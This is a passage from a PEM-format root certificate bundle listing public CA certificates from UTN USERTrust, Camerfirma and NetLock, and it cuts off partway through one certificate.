+RIwHQYDVR0OBBYEFGC1hexWZH4SGSdnHVAVS3OuO/kSMB0GCSqGSIb2fQdBAAQQMA4bCFY2LjA6 NC4wAwIEkDANBgkqhkiG9w0BAQUFAAOCAQEACromJkbTc6gJ82sLMJn9iuFXehHTuJTXCRBuo7E4 A9G28kNBKWKnctj7fAXmMXAnVBhOinxO5dHKjHiIzxvTkIvmI/gLDjNDfZziChmPyQE+dF10yYsc A+UYyAFMP8uXBV2YcaaYb7Z8vTd/vuGTJW1v8AqtFxjhA7wHKcitJuj4YfD9IQl+mo6paH1IYnK9 AOoBmbgGglGBTvH1tJFUuSN6AJqfXY3gPGS5GhKSKseCRHI53OI8xthV9RVOyAUO28bQYqbsFbS1 AoLbrIyigfCbmTH1ICCoiGEKB5+U/NDXG8wuF/MEJ3Zn61SD/aSQfgY9BKNDLdr8C2LqL19iUw== -----END CERTIFICATE----- UTN DATACorp SGC Root CA ======================== -----BEGIN CERTIFICATE----- MIIEXjCCA0agAwIBAgIQRL4Mi1AAIbQR0ypoBqmtaTANBgkqhkiG9w0BAQUFADCBkzELMAkGA1UE BhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhl IFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xGzAZ BgNVBAMTElVUTiAtIERBVEFDb3JwIFNHQzAeFw05OTA2MjQxODU3MjFaFw0xOTA2MjQxOTA2MzBa MIGTMQswCQYDVQQGEwJVUzELMAkGA1UECBMCVVQxFzAVBgNVBAcTDlNhbHQgTGFrZSBDaXR5MR4w HAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxITAfBgNVBAsTGGh0dHA6Ly93d3cudXNlcnRy dXN0LmNvbTEbMBkGA1UEAxMSVVROIC0gREFUQUNvcnAgU0dDMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEA3+5YEKIrblXEjr8uRgnn4AgPLit6E5Qbvfa2gI5lBZMAHryv4g+OGQ0SR+ys raP6LnD43m77VkIVni5c7yPeIbkFdicZD0/Ww5y0vpQZY/KmEQrrU0icvvIpOxboGqBMpsn0GFlo wHDyUwDAXlCCpVZvNvlK4ESGoE1O1kduSUrLZ9emxAW5jh70/P/N5zbgnAVssjMiFdC04MwXwLLA 9P4yPykqlXvY8qdOD1R8oQ2AswkDwf9c3V6aPryuvEeKaq5xyh+xKrhfQgUL7EYw0XILyulWbfXv 33i+Ybqypa4ETLyorGkVl73v67SMvzX41MPRKA5cOp9wGDMgd8SirwIDAQABo4GrMIGoMAsGA1Ud DwQEAwIBxjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRTMtGzz3/64PGgXYVOktKeRR20TzA9 BgNVHR8ENjA0MDKgMKAuhixodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vVVROLURBVEFDb3JwU0dD LmNybDAqBgNVHSUEIzAhBggrBgEFBQcDAQYKKwYBBAGCNwoDAwYJYIZIAYb4QgQBMA0GCSqGSIb3 DQEBBQUAA4IBAQAnNZcAiosovcYzMB4p/OL31ZjUQLtgyr+rFywJNn9Q+kHcrpY6CiM+iVnJowft Gzet/Hy+UUla3joKVAgWRcKZsYfNjGjgaQPpxE6YsjuMFrMOoAyYUJuTqXAJyCyjj98C5OBxOvG0 I3KgqgHf35g+FFCgMSa9KOlaMCZ1+XtgHI3zzVAmbQQnmt/VDUVHKWss5nbZqSl9Mt3JNjy9rjXx EZ4du5A/EkdOjtd+D2JzHVImOBwYSf0wdJrE5SIv2MCN7ZF6TACPcn9d2t0bi0Vr591pl6jFVkwP DPafepE39peC4N1xaf92P2BNPM/3mfnGV/TJVTl4uix5yaaIK/QI -----END CERTIFICATE----- UTN USERFirst Email Root CA =========================== -----BEGIN CERTIFICATE----- MIIEojCCA4qgAwIBAgIQRL4Mi1AAJLQR0zYlJWfJiTANBgkqhkiG9w0BAQUFADCBrjELMAkGA1UE BhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhl IFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xNjA0 BgNVBAMTLVVUTi1VU0VSRmlyc3QtQ2xpZW50IEF1dGhlbnRpY2F0aW9uIGFuZCBFbWFpbDAeFw05 OTA3MDkxNzI4NTBaFw0xOTA3MDkxNzM2NThaMIGuMQswCQYDVQQGEwJVUzELMAkGA1UECBMCVVQx FzAVBgNVBAcTDlNhbHQgTGFrZSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsx ITAfBgNVBAsTGGh0dHA6Ly93d3cudXNlcnRydXN0LmNvbTE2MDQGA1UEAxMtVVROLVVTRVJGaXJz dC1DbGllbnQgQXV0aGVudGljYXRpb24gYW5kIEVtYWlsMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEAsjmFpPJ9q0E7YkY3rs3BYHW8OWX5ShpHornMSMxqmNVNNRm5pELlzkniii8efNIx B8dOtINknS4p1aJkxIW9hVE1eaROaJB7HHqkkqgX8pgV8pPMyaQylbsMTzC9mKALi+VuG6JG+ni8 om+rWV6lL8/K2m2qL+usobNqqrcuZzWLeeEeaYji5kbNoKXqvgvOdjp6Dpvq/NonWz1zHyLmSGHG TPNpsaguG7bUMSAsvIKKjqQOpdeJQ/wWWq8dcdcRWdq6hw2v+vPhwvCkxWeM1tZUOt4KpLoDd7Nl yP0e03RiqhjKaJMeoYV+9Udly/hNVyh00jT/MLbu9mIwFIws6wIDAQABo4G5MIG2MAsGA1UdDwQE AwIBxjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSJgmd9xJ0mcABLtFBIfN49rgRufTBYBgNV HR8EUTBPME2gS6BJhkdodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vVVROLVVTRVJGaXJzdC1DbGll bnRBdXRoZW50aWNhdGlvbmFuZEVtYWlsLmNybDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUH AwQwDQYJKoZIhvcNAQEFBQADggEBALFtYV2mGn98q0rkMPxTbyUkxsrt4jFcKw7u7mFVbwQ+zzne xRtJlOTrIEy05p5QLnLZjfWqo7NK2lYcYJeA3IKirUq9iiv/Cwm0xtcgBEXkzYABurorbs6q15L+ 5K/r9CYdFip/bDCVNy8zEqx/3cfREYxRmLLQo5HQrfafnoOTHh1CuEava2bwm3/q4wMC5QJRwarV NZ1yQAOJujEdxRBoUp7fooXFXAimeOZTT7Hot9MUnpOmw2TjrH5xzbyf6QMbzPvprDHBr3wVdAKZ w7JHpsIyYdfHb0gkUSeh1YdV8nuPmD0Wnu51tvjQjvLzxq4oW6fw8zYX/MMF08oDSlQ= -----END CERTIFICATE----- UTN USERFirst Hardware Root CA ============================== -----BEGIN CERTIFICATE----- MIIEdDCCA1ygAwIBAgIQRL4Mi1AAJLQR0zYq/mUK/TANBgkqhkiG9w0BAQUFADCBlzELMAkGA1UE BhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhl IFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xHzAd BgNVBAMTFlVUTi1VU0VSRmlyc3QtSGFyZHdhcmUwHhcNOTkwNzA5MTgxMDQyWhcNMTkwNzA5MTgx OTIyWjCBlzELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0 eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVz ZXJ0cnVzdC5jb20xHzAdBgNVBAMTFlVUTi1VU0VSRmlyc3QtSGFyZHdhcmUwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQCx98M4P7Sof885glFn0G2f0v9Y8+efK+wNiVSZuTiZFvfgIXlI wrthdBKWHTxqctU8EGc6Oe0rE81m65UJM6Rsl7HoxuzBdXmcRl6Nq9Bq/bkqVRcQVLMZ8Jr28bFd tqdt++BxF2uiiPsA3/4aMXcMmgF6sTLjKwEHOG7DpV4jvEWbe1DByTCP2+UretNb+zNAHqDVmBe8 i4fDidNdoI6yqqr2jmmIBsX6iSHzCJ1pLgkzmykNRg+MzEk0sGlRvfkGzWitZky8PqxhvQqIDsjf Pe58BEydCl5rkdbux+0ojatNh4lz0G6k0B4WixThdkQDf2Os5M1JnMWS9KsyoUhbAgMBAAGjgbkw gbYwCwYDVR0PBAQDAgHGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFKFyXyYbKJhDlV0HN9WF lp1L0sNFMEQGA1UdHwQ9MDswOaA3oDWGM2h0dHA6Ly9jcmwudXNlcnRydXN0LmNvbS9VVE4tVVNF UkZpcnN0LUhhcmR3YXJlLmNybDAxBgNVHSUEKjAoBggrBgEFBQcDAQYIKwYBBQUHAwUGCCsGAQUF BwMGBggrBgEFBQcDBzANBgkqhkiG9w0BAQUFAAOCAQEARxkP3nTGmZev/K0oXnWO6y1n7k57K9cM //bey1WiCuFMVGWTYGufEpytXoMs61quwOQt9ABjHbjAbPLPSbtNk28GpgoiskliCE7/yMgUsogW XecB5BKV5UU0s4tpvc+0hY91UZ59Ojg6FEgSxvunOxqNDYJAB+gECJChicsZUN/KHAG8HQQZexB2 lzvukJDKxA4fFm517zP4029bHpbj4HR3dHuKom4t3XbWOTCC8KucUvIqx69JXn7HaOWCgchqJ/kn iCrVWFCVH/A7HFe7fRQ5YiuayZSSKqMiDP+JJn1fIytH1xUdqWqeUQ0qUZ6B+dQ7XnASfxAynB67 nfhmqA== -----END CERTIFICATE----- UTN USERFirst Object Root CA ============================ -----BEGIN CERTIFICATE----- MIIEZjCCA06gAwIBAgIQRL4Mi1AAJLQR0zYt4LNfGzANBgkqhkiG9w0BAQUFADCBlTELMAkGA1UE BhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhl IFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xHTAb BgNVBAMTFFVUTi1VU0VSRmlyc3QtT2JqZWN0MB4XDTk5MDcwOTE4MzEyMFoXDTE5MDcwOTE4NDAz NlowgZUxCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJVVDEXMBUGA1UEBxMOU2FsdCBMYWtlIENpdHkx HjAcBgNVBAoTFVRoZSBVU0VSVFJVU1QgTmV0d29yazEhMB8GA1UECxMYaHR0cDovL3d3dy51c2Vy dHJ1c3QuY29tMR0wGwYDVQQDExRVVE4tVVNFUkZpcnN0LU9iamVjdDCCASIwDQYJKoZIhvcNAQEB BQADggEPADCCAQoCggEBAM6qgT+jo2F4qjEAVZURnicPHxzfOpuCaDDASmEd8S8O+r5596Uj71VR loTN2+O5bj4x2AogZ8f02b+U60cEPgLOKqJdhwQJ9jCdGIqXsqoc/EHSoTbL+z2RuufZcDX65OeQ w5ujm9M89RKZd7G3CeBo5hy485RjiGpq/gt2yb70IuRnuasaXnfBhQfdDWy/7gbHd2pBnqcP1/vu lBe3/IW+pKvEHDHd17bR5PDv3xaPslKT16HUiaEHLr/hARJCHhrh2JU022R5KP+6LhHC5ehbkkj7 RwvCbNqtMoNB86XlQXD9ZZBt+vpRxPm9lisZBCzTbafc8H9vg2XiaquHhnUCAwEAAaOBrzCBrDAL BgNVHQ8EBAMCAcYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU2u1kdBScFDyr3ZmpvVsoTYs8 ydgwQgYDVR0fBDswOTA3oDWgM4YxaHR0cDovL2NybC51c2VydHJ1c3QuY29tL1VUTi1VU0VSRmly c3QtT2JqZWN0LmNybDApBgNVHSUEIjAgBggrBgEFBQcDAwYIKwYBBQUHAwgGCisGAQQBgjcKAwQw DQYJKoZIhvcNAQEFBQADggEBAAgfUrE3RHjb/c652pWWmKpVZIC1WkDdIaXFwfNfLEzIR1pp6ujw NTX00CXzyKakh0q9G7FzCL3Uw8q2NbtZhncxzaeAFK4T7/yxSPlrJSUtUbYsbUXBmMiKVl0+7kNO PmsnjtA6S4ULX9Ptaqd1y9Fahy85dRNacrACgZ++8A+EVCBibGnU4U3GDZlDAQ0Slox4nb9QorFE qmrPF3rPbw/U+CRVX/A0FklmPlBGyWNxODFiuGK581OtbLUrohKqGU8J2l7nk8aOFAj+8DCAGKCG hU3IfdeLA/5u1fedFqySLKAj5ZyRUh+U3xeUc8OzwcFxBSAAeL0TUh2oPs0AH8g= -----END CERTIFICATE----- Camerfirma Chambers of Commerce Root ==================================== -----BEGIN CERTIFICATE----- MIIEvTCCA6WgAwIBAgIBADANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJFVTEnMCUGA1UEChMe QUMgQ2FtZXJmaXJtYSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1i ZXJzaWduLm9yZzEiMCAGA1UEAxMZQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdDAeFw0wMzA5MzAx NjEzNDNaFw0zNzA5MzAxNjEzNDRaMH8xCzAJBgNVBAYTAkVVMScwJQYDVQQKEx5BQyBDYW1lcmZp cm1hIFNBIENJRiBBODI3NDMyODcxIzAhBgNVBAsTGmh0dHA6Ly93d3cuY2hhbWJlcnNpZ24ub3Jn MSIwIAYDVQQDExlDaGFtYmVycyBvZiBDb21tZXJjZSBSb290MIIBIDANBgkqhkiG9w0BAQEFAAOC AQ0AMIIBCAKCAQEAtzZV5aVdGDDg2olUkfzIx1L4L1DZ77F1c2VHfRtbunXF/KGIJPov7coISjlU xFF6tdpg6jg8gbLL8bvZkSM/SAFwdakFKq0fcfPJVD0dBmpAPrMMhe5cG3nCYsS4No41XQEMIwRH NaqbYE6gZj3LJgqcQKH0XZi/caulAGgq7YN6D6IUtdQis4CwPAxaUWktWBiP7Zme8a7ileb2R6jW DA+wWFjbw2Y3npuRVDM30pQcakjJyfKl2qUMI/cjDpwyVV5xnIQFUZot/eZOKjRa3spAN2cMVCFV d9oKDMyXroDclDZK9D7ONhMeU+SsTjoF7Nuucpw4i9A5O4kKPnf+dQIBA6OCAUQwggFAMBIGA1Ud EwEB/wQIMAYBAf8CAQwwPAYDVR0fBDUwMzAxoC+gLYYraHR0cDovL2NybC5jaGFtYmVyc2lnbi5v cmcvY2hhbWJlcnNyb290LmNybDAdBgNVHQ4EFgQU45T1sU3p26EpW1eLTXYGduHRooowDgYDVR0P AQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzAnBgNVHREEIDAegRxjaGFtYmVyc3Jvb3RAY2hh bWJlcnNpZ24ub3JnMCcGA1UdEgQgMB6BHGNoYW1iZXJzcm9vdEBjaGFtYmVyc2lnbi5vcmcwWAYD VR0gBFEwTzBNBgsrBgEEAYGHLgoDATA+MDwGCCsGAQUFBwIBFjBodHRwOi8vY3BzLmNoYW1iZXJz aWduLm9yZy9jcHMvY2hhbWJlcnNyb290Lmh0bWwwDQYJKoZIhvcNAQEFBQADggEBAAxBl8IahsAi fJ/7kPMa0QOx7xP5IV8EnNrJpY0nbJaHkb5BkAFyk+cefV/2icZdp0AJPaxJRUXcLo0waLIJuvvD L8y6C98/d3tGfToSJI6WjzwFCm/SlCgdbQzALogi1djPHRPH8EjX1wWnz8dHnjs8NMiAT9QUu/wN UPf6s+xCX6ndbcj0dc97wXImsQEcXCz9ek60AcUFV7nnPKoF2YjpB0ZBzu9Bga5Y34OirsrXdx/n ADydb47kMgkdTXg0eDQ8lJsm7U9xxhl6vSAiSFr+S30Dt+dYvsYyTnQeaN2oaFuzPu5ifdmA6Ap1 erfutGWaIZDgqtCYvDi1czyL+Nw= -----END CERTIFICATE----- Camerfirma Global Chambersign Root ================================== -----BEGIN CERTIFICATE----- MIIExTCCA62gAwIBAgIBADANBgkqhkiG9w0BAQUFADB9MQswCQYDVQQGEwJFVTEnMCUGA1UEChMe QUMgQ2FtZXJmaXJtYSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1i ZXJzaWduLm9yZzEgMB4GA1UEAxMXR2xvYmFsIENoYW1iZXJzaWduIFJvb3QwHhcNMDMwOTMwMTYx NDE4WhcNMzcwOTMwMTYxNDE4WjB9MQswCQYDVQQGEwJFVTEnMCUGA1UEChMeQUMgQ2FtZXJmaXJt YSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1iZXJzaWduLm9yZzEg MB4GA1UEAxMXR2xvYmFsIENoYW1iZXJzaWduIFJvb3QwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAw ggEIAoIBAQCicKLQn0KuWxfH2H3PFIP8T8mhtxOviteePgQKkotgVvq0Mi+ITaFgCPS3CU6gSS9J 1tPfnZdan5QEcOw/Wdm3zGaLmFIoCQLfxS+EjXqXd7/sQJ0lcqu1PzKY+7e3/HKE5TWH+VX6ox8O by4o3Wmg2UIQxvi1RMLQQ3/bvOSiPGpVeAp3qdjqGTK3L/5cPxvusZjsyq16aUXjlg9V9ubtdepl 6DJWk0aJqCWKZQbua795B9Dxt6/tLE2Su8CoX6dnfQTyFQhwrJLWfQTSM/tMtgsL+xrJxI0DqX5c 8lCrEqWhz0hQpe/SyBoT+rB/sYIcd2oPX9wLlY/vQ37mRQklAgEDo4IBUDCCAUwwEgYDVR0TAQH/ BAgwBgEB/wIBDDA/BgNVHR8EODA2MDSgMqAwhi5odHRwOi8vY3JsLmNoYW1iZXJzaWduLm9yZy9j aGFtYmVyc2lnbnJvb3QuY3JsMB0GA1UdDgQWBBRDnDafsJ4wTcbOX60Qq+UDpfqpFDAOBgNVHQ8B Af8EBAMCAQYwEQYJYIZIAYb4QgEBBAQDAgAHMCoGA1UdEQQjMCGBH2NoYW1iZXJzaWducm9vdEBj aGFtYmVyc2lnbi5vcmcwKgYDVR0SBCMwIYEfY2hhbWJlcnNpZ25yb290QGNoYW1iZXJzaWduLm9y ZzBbBgNVHSAEVDBSMFAGCysGAQQBgYcuCgEBMEEwPwYIKwYBBQUHAgEWM2h0dHA6Ly9jcHMuY2hh bWJlcnNpZ24ub3JnL2Nwcy9jaGFtYmVyc2lnbnJvb3QuaHRtbDANBgkqhkiG9w0BAQUFAAOCAQEA PDtwkfkEVCeR4e3t/mh/YV3lQWVPMvEYBZRqHN4fcNs+ezICNLUMbKGKfKX0j//U2K0X1S0E0T9Y gOKBWYi+wONGkyT+kL0mojAt6JcmVzWJdJYY9hXiryQZVgICsroPFOrGimbBhkVVi76SvpykBMdJ PJ7oKXqJ1/6v/2j1pReQvayZzKWGVwlnRtvWFsJG8eSpUPWP0ZIV018+xgBJOm5YstHRJw0lyDL4 IBHNfTIzSJRUTN3cecQwn+uOuFW114hcxWokPbLTBQNRxgfvzBRydD1ucs4YKIxKoHflCStFREes t2d/AYoFWpO+ocH/+OcOZ6RHSXZddZAa9SaP8A== -----END CERTIFICATE----- NetLock Qualified (Class QA) Root ================================= -----BEGIN CERTIFICATE----- MIIG0TCCBbmgAwIBAgIBezANBgkqhkiG9w0BAQUFADCByTELMAkGA1UEBhMCSFUxETAPBgNVBAcT CEJ1ZGFwZXN0MScwJQYDVQQKEx5OZXRMb2NrIEhhbG96YXRiaXp0b25zYWdpIEtmdC4xGjAYBgNV BAsTEVRhbnVzaXR2YW55a2lhZG9rMUIwQAYDVQQDEzlOZXRMb2NrIE1pbm9zaXRldHQgS296amVn eXpvaSAoQ2xhc3MgUUEpIFRhbnVzaXR2YW55a2lhZG8xHjAcBgkqhkiG9w0BCQEWD2luZm9AbmV0 bG9jay5odTAeFw0wMzAzMzAwMTQ3MTFaFw0yMjEyMTUwMTQ3MTFaMIHJMQswCQYDVQQGEwJIVTER MA8GA1UEBxMIQnVkYXBlc3QxJzAlBgNVBAoTHk5ldExvY2sgSGFsb3phdGJpenRvbnNhZ2kgS2Z0 LjEaMBgGA1UECxMRVGFudXNpdHZhbnlraWFkb2sxQjBABgNVBAMTOU5ldExvY2sgTWlub3NpdGV0 dCBLb3pqZWd5em9pIChDbGFzcyBRQSkgVGFudXNpdHZhbnlraWFkbzEeMBwGCSqGSIb3DQEJARYP aW5mb0BuZXRsb2NrLmh1MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAx1Ilstg91IRV CacbvWy5FPSKAtt2/GoqeKvld/Bu4IwjZ9ulZJm53QE+b+8tmjwi8F3JV6BVQX/yQ15YglMxZc4e 8ia6AFQer7C8HORSjKAyr7c3sVNnaHRnUPYtLmTeriZ539+Zhqurf4XsoPuAzPS4DB6TRWO53Lhb m+1bOdRfYrCnjnxmOCyqsQhjF2d9zL2z8cM/z1A57dEZgxXbhxInlrfa6uWdvLrqOU+L73Sa58XQ 0uqGURzk/mQIKAR5BevKxXEOC++r6uwSEaEYBTJp0QwsGj0lmT+1fMptsK6ZmfoIYOcZwvK9UdPM 0wKswREMgM6r3JSda6M5UzrWhQIDAMV9o4ICwDCCArwwEgYDVR0TAQH/BAgwBgEB/wIBBDAOBgNV HQ8BAf8EBAMCAQYwggJ1BglghkgBhvhCAQ0EggJmFoICYkZJR1lFTEVNISBFemVuIHRhbnVzaXR2 YW55IGEgTmV0TG9jayBLZnQuIE1pbm9zaXRldHQgU3pvbGdhbHRhdGFzaSBTemFiYWx5emF0YWJh biBsZWlydCBlbGphcmFzb2sgYWxhcGphbiBrZXN6dWx0LiBBIG1pbm9zaXRldHQgZWxla3Ryb25p a3VzIGFsYWlyYXMgam9naGF0YXMgZXJ2ZW55ZXN1bGVzZW5laywgdmFsYW1pbnQgZWxmb2dhZGFz YW5hayBmZWx0ZXRlbGUgYSBNaW5vc2l0ZXR0IFN6b2xnYWx0YXRhc2kgU3phYmFseXphdGJhbiwg YXogQWx0YWxhbm9zIFN6ZXJ6b2Rlc2kgRmVsdGV0ZWxla2JlbiBlbG9pcnQgZWxsZW5vcnplc2kg ZWxqYXJhcyBtZWd0ZXRlbGUuIEEgZG9rdW1lbnR1bW9rIG1lZ3RhbGFsaGF0b2sgYSBodHRwczov L3d3dy5uZXRsb2NrLmh1L2RvY3MvIGNpbWVuIHZhZ3kga2VyaGV0b2sgYXogaW5mb0BuZXRsb2Nr Lm5ldCBlLW1haWwgY2ltZW4uIFdBUk5JTkchIFRoZSBpc3N1YW5jZSBhbmQgdGhlIHVzZSBvZiB0 aGlzIGNlcnRpZmljYXRlIGFyZSBzdWJqZWN0IHRvIHRoZSBOZXRMb2NrIFF1YWxpZmllZCBDUFMg YXZhaWxhYmxlIGF0IGh0dHBzOi8vd3d3Lm5ldGxvY2suaHUvZG9jcy8gb3IgYnkgZS1tYWlsIGF0 IGluZm9AbmV0bG9jay5uZXQwHQYDVR0OBBYEFAlqYhaSsFq7VQ7LdTI6MuWyIckoMA0GCSqGSIb3 DQEBBQUAA4IBAQCRalCc23iBmz+LQuM7/KbD7kPgz/PigDVJRXYC4uMvBcXxKufAQTPGtpvQMznN wNuhrWw3AkxYQTvyl5LGSKjN5Yo5iWH5Upfpvfb5lHTocQ68d4bDBsxafEp+NFAwLvt/MpqNPfMg W/hqyobzMUwsWYACff44yTB1HLdV47yfuqhthCgFdbOLDcCRVCHnpgu0mfVRQdzNo0ci2ccBgcTc R08m6h/t280NmPSjnLRzMkqWmf68f8glWPhY83ZmiVSkpj7EUFy6iRiCdUgh0k8T6GB+B3bbELVR 5qq5aKrN9p2QdRLqOBrKROi3macqaJVmlaut74nLYKkGEsaUR+ko -----END CERTIFICATE----- NetLock Notary (Class A) Root ============================= -----BEGIN CERTIFICATE----- MIIGfTCCBWWgAwIBAgICAQMwDQYJKoZIhvcNAQEEBQAwga8xCzAJBgNVBAYTAkhVMRAwDgYDVQQI EwdIdW5nYXJ5MREwDwYDVQQHEwhCdWRhcGVzdDEnMCUGA1UEChMeTmV0TG9jayBIYWxvemF0Yml6 dG9uc2FnaSBLZnQuMRowGAYDVQQLExFUYW51c2l0dmFueWtpYWRvazE2MDQGA1UEAxMtTmV0TG9j ayBLb3pqZWd5em9pIChDbGFzcyBBKSBUYW51c2l0dmFueWtpYWRvMB4XDTk5MDIyNDIzMTQ0N1oX DTE5MDIxOTIzMTQ0N1owga8xCzAJBgNVBAYTAkhVMRAwDgYDVQQIEwdIdW5nYXJ5MREwDwYDVQQH EwhCdWRhcGVzdDEnMCUGA1UEChMeTmV0TG9jayBIYWxvemF0Yml6dG9uc2FnaSBLZnQuMRowGAYD VQQLExFUYW51c2l0dmFueWtpYWRvazE2MDQGA1UEAxMtTmV0TG9jayBLb3pqZWd5em9pIChDbGFz cyBBKSBUYW51c2l0dmFueWtpYWRvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvHSM D7tM9DceqQWC2ObhbHDqeLVu0ThEDaiDzl3S1tWBxdRL51uUcCbbO51qTGL3cfNk1mE7PetzozfZ z+qMkjvN9wfcZnSX9EUi3fRc4L9t875lM+QVOr/bmJBVOMTtplVjC7B4BPTjbsE/jvxReB+SnoPC /tmwqcm8WgD/qaiYdPv2LD4VOQ22BFWoDpggQrOxJa1+mm9dU7GrDPzr4PN6s6iz/0b2Y6LYOph7 tqyF/7AlT3Rj5xMHpQqPBffAZG9+pyeAlt7ULoZgx2srXnN7F+eRP2QM2EsiNCubMvJIH5+hCoR6 4sKtlz2O1cH5VqNQ6ca0+pii7pXmKgOM3wIDAQABo4ICnzCCApswDgYDVR0PAQH/BAQDAgAGMBIG A1UdEwEB/wQIMAYBAf8CAQQwEQYJYIZIAYb4QgEBBAQDAgAHMIICYAYJYIZIAYb4QgENBIICURaC Ak1GSUdZRUxFTSEgRXplbiB0YW51c2l0dmFueSBhIE5ldExvY2sgS2Z0LiBBbHRhbGFub3MgU3pv bGdhbHRhdGFzaSBGZWx0ZXRlbGVpYmVuIGxlaXJ0IGVsamFyYXNvayBhbGFwamFuIGtlc3p1bHQu IEEgaGl0ZWxlc2l0ZXMgZm9seWFtYXRhdCBhIE5ldExvY2sgS2Z0LiB0ZXJtZWtmZWxlbG9zc2Vn LWJpenRvc2l0YXNhIHZlZGkuIEEgZGlnaXRhbGlzIGFsYWlyYXMgZWxmb2dhZGFzYW5hayBmZWx0 ZXRlbGUgYXogZWxvaXJ0IGVsbGVub3J6ZXNpIGVsamFyYXMgbWVndGV0ZWxlLiBBeiBlbGphcmFz IGxlaXJhc2EgbWVndGFsYWxoYXRvIGEgTmV0TG9jayBLZnQuIEludGVybmV0IGhvbmxhcGphbiBh IGh0dHBzOi8vd3d3Lm5ldGxvY2submV0L2RvY3MgY2ltZW4gdmFneSBrZXJoZXRvIGF6IGVsbGVu b3J6ZXNAbmV0bG9jay5uZXQgZS1tYWlsIGNpbWVuLiBJTVBPUlRBTlQhIFRoZSBpc3N1YW5jZSBh bmQgdGhlIHVzZSBvZiB0aGlzIGNlcnRpZmljYXRlIGlzIHN1YmplY3QgdG8gdGhlIE5ldExvY2sg Q1BTIGF2YWlsYWJsZSBhdCBodHRwczovL3d3dy5uZXRsb2NrLm5ldC9kb2NzIG9yIGJ5IGUtbWFp bCBhdCBjcHNAbmV0bG9jay5uZXQuMA0GCSqGSIb3DQEBBAUAA4IBAQBIJEb3ulZv+sgoA0BO5TE5 ayZrU3/b39/zcT0mwBQOxmd7I6gMc90Bu8bKbjc5VdXHjFYgDigKDtIqpLBJUsY4B/6+CgmM0ZjP ytoUMaFP0jn8DxEsQ8Pdq5PHVT5HfBgaANzze9jyf1JsIPQLX2lS9O74silg6+NJMSEN1rUQQeJB CWziGppWS3cC9qCbmieH6FUpccKQn0V4GuEVZD3QDtigdp+uxdAu6tYPVuxkf1qbFFgBJ34TUMdr KuZoPL9coAob4Q566eKAw+np9v1sEZ7Q5SgnK1QyQhSCdeZK8CtmdWOMovsEPoMOmzbwGOQmIMOM 8CgHrTwXZoi1/baI -----END CERTIFICATE----- NetLock Business (Class B) Root =============================== -----BEGIN CERTIFICATE----- MIIFSzCCBLSgAwIBAgIBaTANBgkqhkiG9w0BAQQFADCBmTELMAkGA1UEBhMCSFUxETAPBgNVBAcT CEJ1ZGFwZXN0MScwJQYDVQQKEx5OZXRMb2NrIEhhbG96YXRiaXp0b25zYWdpIEtmdC4xGjAYBgNV BAsTEVRhbnVzaXR2YW55a2lhZG9rMTIwMAYDVQQDEylOZXRMb2NrIFV6bGV0aSAoQ2xhc3MgQikg VGFudXNpdHZhbnlraWFkbzAeFw05OTAyMjUxNDEwMjJaFw0xOTAyMjAxNDEwMjJaMIGZMQswCQYD VQQGEwJIVTERMA8GA1UEBxMIQnVkYXBlc3QxJzAlBgNVBAoTHk5ldExvY2sgSGFsb3phdGJpenRv bnNhZ2kgS2Z0LjEaMBgGA1UECxMRVGFudXNpdHZhbnlraWFkb2sxMjAwBgNVBAMTKU5ldExvY2sg VXpsZXRpIChDbGFzcyBCKSBUYW51c2l0dmFueWtpYWRvMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB iQKBgQCx6gTsIKAjwo84YM/HRrPVG/77uZmeBNwcf4xKgZjupNTKihe5In+DCnVMm8Bp2GQ5o+2S o/1bXHQawEfKOml2mrriRBf8TKPV/riXiK+IA4kfpPIEPsgHC+b5sy96YhQJRhTKZPWLgLViqNhr 